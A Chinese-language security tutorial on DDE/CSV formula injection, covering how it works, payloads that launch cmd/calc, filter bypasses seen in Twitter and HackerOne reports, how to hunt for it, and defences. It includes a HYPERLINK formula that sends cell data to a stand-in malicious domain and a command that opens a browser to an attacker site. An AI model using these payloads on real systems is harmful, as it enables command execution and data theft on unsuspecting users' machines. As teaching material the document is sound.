DDE注入(CSV)漏洞原理及實戰案例全匯總

  • 2019 年 10 月 10 日
  • 筆記

在滲透中遇到導出功能時,會如何進行測試?任意文件下載?或者越權查看?很多人很容易忽略的是DDE注入:導出格式為csv,xls時,或許你可以嘗試構造這個漏洞,它不會對網站本身產生危害,但會對終端用戶造成任意OS命令執行等危害。


1、漏洞原理:

1)Excel解析機制

第一個需要知道的知識點是,在Excel任何以'='字元開頭的單元格都將被電子表格軟體解釋為公式,如果我們在其中輸入「=2+5」,則表格會顯示為:

實際上,除了=號,以下符號都可用於在Microsoft Excel中觸發公式解釋:

  • 等於(「=」)
  • 加(「+」)
  • 減號(「 – 」)
  • 在 (」@」)

這個可以幫助我們在等號=被過濾時,使用其他運算符繞過。

2)DDE注入

動態數據交換(DDE),全稱DynamicData Exchange,是Windows下進程間通訊協議,支援Microsoft Excel,LibreOffice和Apache OpenOffice。Excel、Word、Rtf、Outlook都可以使用這種機制,根據外部應用的處理結果來更新內容。因此,如果我們製作包含DDE公式的CSV文件,那麼在打開該文件時,Excel就會嘗試執行外部應用。比如我們構造包含如下字元串的csv或xls文件:

=cmd | '/ C calc' !A0

Excel會嘗試調用本機CMD命令,給出友好提示,若用戶在無意識狀態下點擊「是」:

而後嘗試接受更正拼寫錯誤,不接受更正則會執行cmd命令,彈出計算器:

所以攻擊的路線就很清晰了:

業務系統接受用戶輸入並導出為csv——>惡意用戶通過介面輸入payload——>受害者下載文件並在PC運行——>受害者PC被攻擊。因此DDE注入攻擊是一種攻擊源來自網站,但最終目標是普通用戶PC的一種攻擊。

2、漏洞危害:

1)OS命令執行

OS任意命令執行是最主要的危害,像上面講過的,可以使用= cmd | '/ C calc' !A0彈計算器或者使用=cmd|'/k ipconfig'!A0彈出ipconfig命令的方式探測漏洞是否存在。類比XSS的利用思路,如果系統可以實現alert(1)彈框效果,說明我們可以執行任意的js程式碼,這取決於我們的利用思路。比如:

  • 添加用戶;
  • 開啟任意應用程式:IE;
  • 操作註冊表;
  • 反彈shell;

2)資訊泄露

超鏈接功能 Hyperlink創建快捷方式並進行跳轉,單擊包含HYPERLINK函數的單元格時,Microsoft Excel將打開存儲在link_location的文件,如:

可將表格其中一個單元格設置為以下形式:

=HYPERLINK(「https://maliciousDomain.com/evil.html?data=」&A1,「Click to view additional information」)」

將創建一個單元格,顯示文本「單擊以查看其他資訊」,當用戶單擊,將發送A1中的數據到maliciousDomain.com,從而導致資訊泄露。當然使用第一種攻擊方式也可以實現這種攻擊效果,如:

=6-5 cmd|』 /C 「C:Program FilesInternetExploreriexplore.exe」 http://<attackers site>/asd.html』!A0

它將用戶定向到惡意釣魚網站,實現竊取哈希值和口令等操作。

3、實戰案例

1)Twitter導出數據處DDE

Twitter用戶發帖,輸入:

介面導出數據處,導出csv文件並在Excel中查看:

若輸入payload:=cmd|' /Ccalc'!A0再次執行,彈出計算器:

2)Hackerone報告導出

這是對於Hackerone過濾的一個繞過,網站後台對於等號=之前新增單引號『以防止公式執行。但在報告導出功能處參數title輸入:

%0A-2+3+cmd|' /C calc'!D2:

%0A被解析為換行符,使得payload正常執行:

3)Hackerone過濾繞過

這是對後台過濾的第二次繞過,在等號前加一個分號;可繞過:

;=cmd|' /C calc'!A0

Excel識別並解析分隔符;,將數據拆分並執行:

4、挖掘思路:

此漏洞特徵較明顯,因此思路簡單:

1、關注系統中是否有導出為csv或xls表格的功能,一般存在於資訊統計,日誌導出等功能處;

2、確定導出的內容是否用戶可控:

1)可能在介面可直接進行編輯/新增;

2)通過數據篡改/HPP/追蹤數據源等方式看是否可以控制輸入;

3、輸入處寫入測試腳本=2*10,導出後查看錶格內容是否解析,輸入:

導出後查看,成功解析:

4、存在過濾,嘗試繞過,最後進行OS執行等深入利用。

5、繞過技巧:

根據案例和挖掘經驗,總結常用的繞過payload有:

1、-3+2+cmd |』 /C calc』 !A0

在等於號被過濾時,可以通過運算符+-的方式繞過;

2、%0A-3+3+cmd|' /C calc'!D2

參數處輸入此payload,%0A被解析,從而後面的數據跳轉到下一行;

3、;-3+3+cmd|' /C calc'!D2

導出文件為csv時,若系統在等號=前加了引號』過濾,則可以使用分號繞過,分號;可分離前後兩部分內容使其分別執行,本機測試:

4、@SUM(cmd|'/c calc'!A0)

5、=HYPERLINK("https://evil.com")

6、防禦手段

1)一般的防禦手段為,在生成電子表格時,以任何危險符號開頭的欄位應該以單引號、撇號(')字元或空格作為前綴,確保單元格不被解釋為公式,但存在可能被繞過的風險。

2)更好的防禦手段為,根據業務需求控制用戶輸入為字母數字字元;或黑名單過濾=或-號開頭的單元格數據,過濾=(-)cmd或=(-)HYPERLINK或concat等。